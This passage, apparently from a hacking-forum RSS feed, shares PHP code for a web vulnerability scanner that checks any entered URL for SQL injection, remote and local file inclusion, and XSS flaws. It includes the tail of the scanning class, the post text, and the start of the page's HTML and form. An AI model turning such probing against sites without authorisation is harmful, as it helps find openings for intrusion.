style="color: white;">&#36;link</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">errorcheck</span><span style="color: red;">(</span><span style="color: white;">&#36;orig</span><span style="color: red;">,</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">sql</span><span style="color: red;">,</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">sqlerrors</span><span style="color: red;">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: white;">htmlentities</span><span style="color: red;">(</span><span style="color: white;">&#36;orig</span><span style="color: red;">)&nbsp;.</span><span style="color: pink;">"&nbsp;&lt;span&nbsp;style=&#092;"color:&nbsp;red;&#092;"&gt;might&lt;/span&gt;&nbsp;be&nbsp;vulnerable&nbsp;to&nbsp;SQL&nbsp;Injection.&lt;br&nbsp;/&gt;"</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: white;">htmlentities</span><span style="color: red;">(</span><span style="color: white;">&#36;orig</span><span style="color: red;">)&nbsp;.</span><span style="color: pink;">"&nbsp;is&nbsp;probably&nbsp;&lt;span&nbsp;style=&#092;"color:&nbsp;red;&#092;"&gt;NOT&lt;/span&gt;&nbsp;vulnerable&nbsp;to&nbsp;SQL&nbsp;Injection.&lt;br&nbsp;/&gt;"</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;</span><span style="color: white;">isrfivulnerable</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;orig&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">&#36;link</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;link&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">substr</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: white;">0</span><span style="color: red;">,</span><span style="color: white;">strpos</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: pink;">'='</span><span style="color: red;">)+</span><span style="color: white;">1</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">errorcheck</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">rfi</span><span style="color: red;">,</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">rfierrors</span><span style="color: red;">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: white;">htmlentities</span><span style="color: red;">(</span><span style="color: white;">&#36;orig</span><span style="color: red;">)&nbsp;.</span><span style="color: pink;">"&nbsp;&lt;span&nbsp;style=&#092;"color:&nbsp;red;&#092;"&gt;might&lt;/span&gt;&nbsp;be&nbsp;vulnerable&nbsp;to&nbsp;RFI.&lt;br&nbsp;/&gt;"</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: white;">htmlentities</span><span style="color: red;">(</span><span style="color: white;">&#36;orig</span><span style="color: red;">)&nbsp;.</span><span style="color: pink;">"&nbsp;is&nbsp;probably&nbsp;&lt;span&nbsp;style=&#092;"color:&nbsp;red;&#092;"&gt;NOT&lt;/span&gt;&nbsp;vulnerable&nbsp;to&nbsp;RFI.&lt;br&nbsp;/&gt;"</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;</span><span style="color: white;">islfivulnerable</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;orig&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">&#36;link</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;link&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">substr</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: white;">0</span><span style="color: red;">,</span><span style="color: white;">strpos</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: pink;">'='</span><span style="color: red;">)+</span><span style="color: white;">1</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">errorcheck</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">lfi</span><span style="color: red;">,</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">lfierrors</span><span style="color: red;">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: white;">htmlentities</span><span style="color: red;">(</span><span style="color: white;">&#36;orig</span><span style="color: red;">)&nbsp;.</span><span style="color: pink;">"&nbsp;&lt;span&nbsp;style=&#092;"color:&nbsp;red;&#092;"&gt;might&lt;/span&gt;&nbsp;be&nbsp;vulnerable&nbsp;to&nbsp;LFI.&lt;br&nbsp;/&gt;"</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: white;">htmlentities</span><span style="color: red;">(</span><span style="color: white;">&#36;orig</span><span style="color: red;">)&nbsp;.</span><span style="color: pink;">"&nbsp;is&nbsp;probably&nbsp;&lt;span&nbsp;style=&#092;"color:&nbsp;red;&#092;"&gt;NOT&lt;/span&gt;&nbsp;vulnerable&nbsp;to&nbsp;LFI.&lt;br&nbsp;/&gt;"</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;</span><span style="color: white;">isxssvulnerable</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;orig&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">&#36;link</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;link&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">substr</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: white;">0</span><span style="color: red;">,</span><span style="color: white;">strpos</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: pink;">'='</span><span style="color: red;">)+</span><span style="color: white;">1</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">errorcheck</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">xss</span><span style="color: red;">,</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">xsserrors</span><span style="color: red;">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: white;">htmlentities</span><span style="color: red;">(</span><span style="color: white;">&#36;orig</span><span style="color: red;">)&nbsp;.</span><span style="color: pink;">"&nbsp;&lt;span&nbsp;style=&#092;"color:&nbsp;red;&#092;"&gt;might&lt;/span&gt;&nbsp;be&nbsp;vulnerable&nbsp;to&nbsp;XSS.&lt;br&nbsp;/&gt;"</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: white;">htmlentities</span><span style="color: red;">(</span><span style="color: white;">&#36;orig</span><span style="color: red;">)&nbsp;.</span><span style="color: pink;">"&nbsp;is&nbsp;probably&nbsp;&lt;span&nbsp;style=&#092;"color:&nbsp;red;&#092;"&gt;NOT&lt;/span&gt;&nbsp;vulnerable&nbsp;to&nbsp;XSS.&lt;br&nbsp;/&gt;"</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;}&nbsp;</span><span style="color: orange;">//&nbsp;END&nbsp;OF&nbsp;CLASS<br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: red;">if(isset(</span><span style="color: white;">&#36;_POST</span><span style="color: red;">[</span><span style="color: pink;">'url'</span><span style="color: red;">])&nbsp;&amp;&amp;&nbsp;isset(</span><span style="color: white;">&#36;_POST</span><span style="color: red;">[</span><span style="color: pink;">'submit'</span><span style="color: red;">]))<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;obj&nbsp;</span><span style="color: red;">=&nbsp;new&nbsp;</span><span style="color: white;">Vulnscanner</span><span style="color: red;">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;link&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">&#36;_POST</span><span style="color: red;">[</span><span style="color: pink;">'url'</span><span style="color: red;">];<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: white;">&#36;obj</span><span style="color: red;">-&gt;</span><span style="color: white;">isvalid</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;obj</span><span style="color: red;">-&gt;</span><span style="color: white;">islfivulnerable</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;obj</span><span style="color: red;">-&gt;</span><span style="color: white;">isxssvulnerable</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;obj</span><span style="color: red;">-&gt;</span><span style="color: white;">issqlvulnerable</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;obj</span><span style="color: red;">-&gt;</span><span style="color: white;">isrfivulnerable</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: pink;">"&lt;span&nbsp;style=&#092;"color:&nbsp;red;&#092;"&gt;"</span><span style="color: red;">.&nbsp;</span><span style="color: white;">htmlentities</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">)&nbsp;.</span><span style="color: pink;">"&nbsp;is&nbsp;not&nbsp;a&nbsp;valid&nbsp;link.&lt;/span&gt;"</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">?&gt;<br /></span>&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;<br />&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;<br />&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;<br />&lt;a&nbsp;href="http://www.hackcommunity.com"&gt;&lt;span&nbsp;style=&#092;"color:&nbsp;red;&#092;"&gt;Hack&nbsp;Community&lt;/span&gt;&lt;/a&gt;<br />&lt;/div&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;&nbsp;<br /></code></div></div></div>
<br />
<span style="font-size: medium;"><span style="font-weight: bold;">FEEDBACK WOULD BE APPRECIATED!! It'll help me to make an updated version of this.</span></span>]]></description>
			<content:encoded><![CDATA[Here is the original thread : <a href="http://www.hackcommunity.com/Thread-Vulnerability-Scanner-By-The-Alchemist" target="_blank">http://www.hackcommunity.com/Thread-Vuln...-Alchemist</a><br />
Lots of members liked this tool so, <span style="color: #FF0000;"><span style="font-weight: bold;">bluedog.tar.gz</span></span> told me to make this HC Official. So, I modified the design just a bit so that it looks like a HC Official.<br />
I'd like to thank my friend ande again for helping me out with this.<br />
<br />
Here is a screenshot :<br />
<div><div class="quote_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='<button>Click to View</button>';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='<button>Click to Hide</button>';}"><button>Click to View</button></a></div><div class="quote_body" style="display: none;"><img src="http://i6.minus.com/i7ry9bOtyRLfP.png" border="0" alt="[Image: i7ry9bOtyRLfP.png]" /></div></div>Here is the code :<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Code:<br />
</div><div class="body"><div dir="ltr"><code><span style="color: white;">&lt;?php<br />&nbsp;&nbsp;&nbsp;&nbsp;set_time_limit</span><span style="color: red;">(</span><span style="color: white;">0</span><span style="color: red;">);<br /></span><span style="color: white;">?&gt;<br /></span>&lt;!DOCTYPE&nbsp;html&nbsp;PUBLIC&nbsp;"-//W3C//DTD&nbsp;XHTML&nbsp;1.0&nbsp;Transitional//EN"&nbsp;"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;<br />&lt;html&nbsp;xmlns="http://www.w3.org/1999/xhtml"&gt;<br />&lt;head&gt;<br />&nbsp;&nbsp;&nbsp;&lt;title&gt;Vulnerability&nbsp;Scanner&lt;/title&gt;<br />&nbsp;<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&lt;style&nbsp;type="text/css"&gt;<br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;body<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;#ffffff;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;text-shadow:&nbsp;2px&nbsp;2px&nbsp;#000000;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;background-color:&nbsp;#282828;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;font-family:&nbsp;Arial,&nbsp;Helvetica,&nbsp;sans-serif;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pre<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;background-color:&nbsp;#353535;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;border:&nbsp;solid&nbsp;1px&nbsp;#505050;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;input<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;font-family:&nbsp;Arial,&nbsp;Helvetica,&nbsp;sans-serif;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.Button<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;padding:&nbsp;5px&nbsp;10px;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;background:&nbsp;#303030;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;border:&nbsp;solid&nbsp;#101010&nbsp;1px;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;#fff;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cursor:&nbsp;pointer;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;font-weight:&nbsp;bold;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;border-radius:&nbsp;5px;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-moz-border-radius:&nbsp;5px;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-webkit-border-radius:&nbsp;5px;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;text-shadow:&nbsp;1px&nbsp;1px&nbsp;#000;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.Input<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;border:&nbsp;solid&nbsp;#101010&nbsp;1px;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;white;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;font-weight:&nbsp;bold;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;padding:&nbsp;3px;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;background-color:&nbsp;#252525;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;/style&gt;<br />&lt;/head&gt;<br />&lt;body&gt;<br />&lt;div&nbsp;align="center"&gt;<br />&lt;pre&gt;<br />&nbsp;&nbsp;___&nbsp;___&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_________&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.__&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&#092;_____&nbsp;&nbsp;&nbsp;&nbsp;____&nbsp;|&nbsp;&nbsp;|&nbsp;__&nbsp;&#092;_&nbsp;&nbsp;&nbsp;___&nbsp;&#092;&nbsp;&nbsp;____&nbsp;&nbsp;&nbsp;_____&nbsp;&nbsp;&nbsp;_____&nbsp;&nbsp;__&nbsp;__&nbsp;&nbsp;____&nbsp;|__|/&nbsp;&nbsp;|_&nbsp;___.__.<br />/&nbsp;&nbsp;&nbsp;&nbsp;~&nbsp;&nbsp;&nbsp;&nbsp;&#092;__&nbsp;&nbsp;&#092;&nbsp;_/&nbsp;___&#092;|&nbsp;&nbsp;|/&nbsp;/&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&#092;&nbsp;&nbsp;&#092;/&nbsp;/&nbsp;&nbsp;_&nbsp;&#092;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;|&nbsp;&nbsp;|&nbsp;&nbsp;&#092;/&nbsp;&nbsp;&nbsp;&nbsp;&#092;|&nbsp;&nbsp;&#092;&nbsp;&nbsp;&nbsp;__&lt;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|<br />&#092;&nbsp;&nbsp;&nbsp;&nbsp;Y&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;__&nbsp;&#092;&#092;&nbsp;&nbsp;&#092;___|&nbsp;&nbsp;&nbsp;&nbsp;&lt;&nbsp;&nbsp;&#092;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;___(&nbsp;&nbsp;&lt;_&gt;&nbsp;)&nbsp;&nbsp;Y&nbsp;Y&nbsp;&nbsp;&#092;&nbsp;&nbsp;Y&nbsp;Y&nbsp;&nbsp;&#092;&nbsp;&nbsp;|&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&#092;&nbsp;&nbsp;||&nbsp;&nbsp;|&nbsp;&nbsp;&#092;___&nbsp;&nbsp;|<br />&nbsp;&#092;___|_&nbsp;&nbsp;/(____&nbsp;&nbsp;/&#092;___&nbsp;&nbsp;&gt;__|_&nbsp;&#092;&nbsp;&nbsp;&#092;______&nbsp;&nbsp;/&#092;____/|__|_|&nbsp;&nbsp;/__|_|&nbsp;&nbsp;/____/|___|&nbsp;&nbsp;/__||__|&nbsp;&nbsp;/&nbsp;____|<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#092;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />Vulnerability&nbsp;Scanner&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Coded&nbsp;By&nbsp;The&nbsp;Alchemist&lt;/pre&gt;<br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;form&nbsp;method="POST"&nbsp;action=""&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Enter&nbsp;URL&nbsp;:&nbsp;&lt;input&nbsp;type="text"&nbsp;name="url"&nbsp;value="<span style="color: white;">&lt;?php&nbsp;</span><span style="color: red;">if(isset(</span><span style="color: white;">&#36;_POST</span><span style="color: red;">[</span><span style="color: pink;">'url'</span><span style="color: red;">])){echo(</span><span style="color: white;">htmlentities</span><span style="color: red;">(</span><span style="color: white;">&#36;_POST</span><span style="color: red;">[</span><span style="color: pink;">'url'</span><span style="color: red;">]));}</span><span style="color: white;">?&gt;</span>"&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;placeholder="http://example.com/index.php?id=1"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;size="75"&nbsp;class="Input"&nbsp;/&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;input&nbsp;type="submit"&nbsp;name="submit"&nbsp;value="Scan"&nbsp;class="Button"&nbsp;/&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;/form&gt;<br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;br&nbsp;/&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: 